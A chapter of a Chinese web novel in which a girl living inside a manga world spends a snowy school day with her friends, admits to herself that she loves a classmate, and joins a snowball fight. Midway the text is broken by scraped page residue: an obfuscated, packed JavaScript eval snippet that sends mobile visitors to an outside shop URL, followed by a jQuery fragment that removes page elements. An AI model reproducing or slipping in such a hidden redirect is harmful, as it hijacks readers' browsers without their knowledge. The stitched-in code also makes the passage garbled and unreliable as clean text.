从夏天走到秋天，漫步穿过金黄落叶铺洒的银杏林，再步入渐渐寒冷的冬天，天气骤然阴冷起来，连刮在脸上的风都带着刺骨的寒意。


    十二月中旬，这年第一场大雪悄然落下。清晨洗漱完推开窗，大地上已覆了一层白茫茫的雪衣，褐色枝头上也托着薄薄的雪花，整个校园陷入一片静谧。


    原来下雪了，怪不得昨晚总觉得有冷风往被子里钻。


    商如夏缩了缩脖子，关了窗，转身从柜子里翻出上周末带来的黑色羽绒服。拉好拉链后，她便倚在宿舍门边等安羽涂完最后一层护肤霜。百无聊赖间，困意来袭，眼皮渐渐发沉，直到颊边传来一阵微凉滑腻的触感。


    她迷瞪瞪地睁开眼，还有些懵。


    “安羽?“商如夏下意识抬手抹脸，想看看什么东西粘在她脸上了。


    “别擦。”安羽说，先一步按住她的手，“入冬你就懒得擦水，今天外头风那么大，再不擦点你想脸蛋皴成红苹果？”


    “……”商如夏抿住唇，就着脸上的乳液抹匀，声音软了几分，“才没有，我可爱抹香香了。”


    安羽轻笑，收回手：“快睁开眼，下楼吃饭了。”


    “好。”她配合着点头。


    两人在常去的那家包子铺买了包子和豆浆，便匆匆往教学楼赶。


    走到座位时，一股寒风猛地灌进后颈。商如夏扭头一看——窗户竟然大开着，就差来个人扒着窗沿向下眺望了。她冷得一颤，赶忙把窗户拉严实，这才坐下。


    这歌靠窗的位置来之不易。文浩歌在窗边坐了不到一周，就经不住商如夏的软磨硬泡让了出来。当然也不是白让的，代价是商如夏答应了连续给他买半个月的奶茶，也就是一个星期三杯，今日已是第二周了。


    ”还喝，还喝。“商如夏愤愤道，”你这肥别减了。”


    “……”文浩歌吸了吸鼻子：”你怎么还带人身攻击的。”


    意识到自己说了什么的商如夏：”……“


    她先发制人：“浩歌，你在跟我说话吗？”


    文浩歌被噎到：“没什么，你继续。”


    整个上午的课，商如夏都有些心不在焉。在漫画里待的时间越久，她就越融入这里的一切，就连零零散散的小习惯都养成了，俨然已经完全沉浸到高中生的生活中了。


    大课间，她支着脑袋，思绪又飘远了。


    今天大概是安羽年前在校学习的最后一天。近一个月的高强度备考，周一至周五她倒是能每天见到安羽的影子，除去上课时间，安羽课间刷竞赛题，回了宿舍仍抱着本竞赛书啃，连周六日都要留在学校参加上面组织的竞赛集训。


    商如夏都看在眼里，不乏有些心疼。


    那些藏在心里的话，她始终找不到合适的机会说，怕一开口就打乱安羽的节奏。


    不过，她没好意思提的话，安羽却在某一个夜晚主动说了。


    那天江念珍生病请假回家，刘琳也为了出一个喜欢的动漫角色，每晚特意去操场跑圈保持身材，于是宿舍里只剩她们两人。


    夜晚，风沙沙地吹着。


    也就是这一次，安羽告诉了她自己心里的想法，以及为什么要去参加竞赛。


    商如夏本以为安羽可能是为了突破自己，想挑战一下不可能才去报名的数学竞赛，毕竟原漫画里这个竞赛只是一个过度剧情的小节点，但在那晚听了安羽的诉说，她才知道安羽不止是为了自己，更是为了追上程砚的步伐。


    时间本是横亘在他们之间不可逾越的鸿沟。安羽原本计划平静度过高中，考上外省一个不错的大学，往后的人生随遇而安，顺其自然。


    可有些人，出现得太过耀眼，太过于美好，以至于她见一面，就再也忘不掉了。


    她说她想参加竞赛，打破自己思想里如小溪上缓缓行进小舟的沉寂，她想踏上更大的船，去驰骋原本不敢想象的海域；她在时间的尽头，望着前方少年的背影，一瞬刺眼的光打过来，虽被刺得眯起眼，不过适应后那一瞬间她觉得一定要追上去，时间不会等待在原地停留的她，那她就奋力追上去，追寻那道令人心向往之的背影。


    商如夏安静听完，心中反而平静下来。她明白这是一条无法回头的路，既是安羽的，也是她自己的。如果安羽能如愿追上心中的那道光，她想，那她的任务，大概也就完成了吧。


    不算白来一趟。


    一切似乎都走上了正规。系统提供的”甜宠模式”特别辅助功能尚未启用全部，任务积分停留在了三十。


    不多不少，商如夏在得知【攻略模拟器】目前还未应用在男女主身上时，主动提出一个申请，将使用权限保留至关键时机，系统没有反驳，同意了这个请求。


    于此同时，还有没有使用过的【贴心恋爱教练】。她也选择暂时保存使用权限，她生怕再出什么乱子，让本就偏离原轨的剧情更支离破碎。


    如今的每一步，商如夏都不敢轻举妄动，她都走得小心翼翼。


    可即便如此，她的心还是乱了。


    她不得不承认：自己喜欢上了边长嬴。


    从何时开始，早已说不清。只是在察觉的那一刻，少年的身影早已悄然占据她思绪的每个角落。


    她会期待，课间边长嬴在后门轻唤她的名字。即使是乱糟糟的课间，声音嘈杂，她也能准确辨认出那道清冽的嗓音，如风如水，轻轻地刮过她的心尖。


    轻轻叹了口气，商如夏觉得再这样下去，脑容量真的要爆炸了。


    ……


    上午最后一节体育课，两个班的课又一次排在了一起。商如夏停止胡思乱想，刚穿上羽绒服，手臂就被人从后面挽上。


    她一怔，回头。


    安羽眨眨眼：“我也去。”


    “不复习了吗？”商如夏有些意外。参加竞赛的同学是可以不去上体育课，更何况在天这么冷，外头似乎还飘着雪。


    “下午我就要走了，这学期最后上一次体育课，也算圆满。”安羽察觉到商如夏进来一段时间有些不在状态，柔声提议：“而且下雪了，不想拍张照片纪念一下吗？”


    商如夏眼睛亮了几分，点点头：”好啊。”她忽然笑起来，须臾一股暖意漫上心头，“我还要堆雪人。”


    见小夏来了兴致，安羽弯起嘴角：“陪你一起。”


    “可是没有胡萝卜，怎么办？”商如夏忽然想起什么，有点郁闷。


    安羽疑惑：“要胡萝卜做什么？”


    商如夏理所当然：“做雪人的鼻子啊。”


    “这样啊……，要不？”安羽唇角轻扬，笑得狡黠，“去餐厅‘借’一根？”


    她的“借”字，音落得极轻又软，但商如夏还是听见了。她募地转头，故作惊讶：“好啊，羽宝，你什么时候学坏了？”


    安羽：“……”


    她抿唇轻笑，将手抽回来，“不是坏。”


    “是玩笑了。”


    “这样啊。”听小夏的语气还有些遗憾，安羽把迈出的一只脚收了回来，瞥她：“不然呢？”


    见安羽眼里闪过细碎的光，商如夏终于憋不住笑出声：“当然是和你一起偷大萝卜啦！”


    安羽轻咳一声，强调：“是’借‘！”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827148|183646||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    两个女孩相视而笑，为这个冬天共享了一个微小而温暖的秘密。


    走到操场时，两个班的队伍正零零散散地集合。体育老师站在队伍面前简单交代几句，便吹哨解散。


    商如夏目光不经意般扫向一班的方向，在队伍的末尾看到了边长嬴，少年长身而立在人群中，清隽的侧脸仿佛融进了这银装素裹的世界。


    心灵感应是件很奇妙的事情，就在预感到他要转过头看过来的瞬间，商如夏匆忙移开视线，嘴角却漾起一如往日清甜的笑意。


    她不去点透这些朦胧的情愫，就当他也未曾察觉吧。


    能在这个如梦境般的世界里，每天能看到他的身影，听到他的声音，已是一种确幸。


    这么想着，她的笑容更自然了些。


    哨声响起，人潮四散而去。有同学结伴朝教学楼方向走去；有相熟的男同学聚在一起扔雪球，也有人走到观众台上静静赏雪。


    冰天雪地里，橡胶跑道和草坪上遗留着昨夜的雪花，白茫茫一片。商如夏拉着安羽走向篮球架下堆起的雪丘。


    “羽宝，我们来堆雪人。”商如夏把羽绒服往膝盖上一卷，蹲下身，直接下手捧起一团雪，在掌心轻轻拢成圆球，献宝似的笑着转头，“你看，我捏的……”


    她话还未说完，后颈忽然一凉——一团松软的雪不偏不倚砸进衣领，冰得她一个激灵。


    “啊——”商如夏要气炸了，今早刚换的衣服！


    她倏地起身回头，目光顷刻间锁定到某人的身上：“程定！！！”


    “他大爷的！你完了。”她举起手中成型的雪球，快步冲了过去。


    安羽失笑，在身后喊：“小心别滑倒！”


    “羽宝等我，马上回来！”商如夏边跑边喊。


    “啪——”


    雪球砸在一件黑色大衣上，如夏商急急刹住脚步，抬眼正对上边长嬴垂落的视线。


    “……嗨。“商如夏眼皮一跳，没有来的心虚，见边长嬴淡淡地掀起眼皮，她走上前顺手拍掉砸在他身上的雪粒，偏生有人在后面使坏的推卸责任：“真不是我，是长嬴，你别看他表面老实。”


    边长嬴斜睨他一眼，”……”


    程定嘴上堆笑，拍拍边长嬴的肩，边退边说：“开个玩笑哈。”


    商如夏抬眼，阴恻恻道：“程定你别躲……”


    程定从边长嬴左肩后探出脑袋，下巴一扬，挑衅：“行不行啊小傻蛋？”


    见干净了，商如夏蹲下身，迅速团起一捧雪，以迅雷不及掩耳之势朝躲在边长嬴身后的程定甩去。


    “你说行不行？”雪团精准钻进对方袖口，她得意地挑眉笑起来。


    “哎，卧槽！你这偷袭不讲武德，全给我塞袖口里了。”程定拧着眉抖袖口，蹲下时却勾起一抹坏笑，起身时循循善诱，像极了伪装成小红帽外婆的大灰狼，“小商啊，别跑，我保证不砸你。”


    “……”商如夏翻了个白眼，“骗鬼去吧。”说罢，转身就跑。


    操场上早已闹成一片，空中飞着来自四面八方的雪球。商如夏灵巧地侧身躲过不知谁扔来的一个雪球，回头见边长嬴还楞在原地，忍不住朝他挥手：“边长嬴！你哪边的？快来！”


    天空又飘起细雪，雪花轻轻落在少年的纤长的睫毛上。边长嬴缓缓抬眼，感受到雪粒融化时细微的沁凉。


    片刻，他向她跑去，义无反顾。


    “咔擦——”


    相机定格了冬日的瞬间。安羽将手机拿到眼前，看着画面里飞扬的雪花、奔跑的少年和笑魇明亮的女孩，莞尔一笑。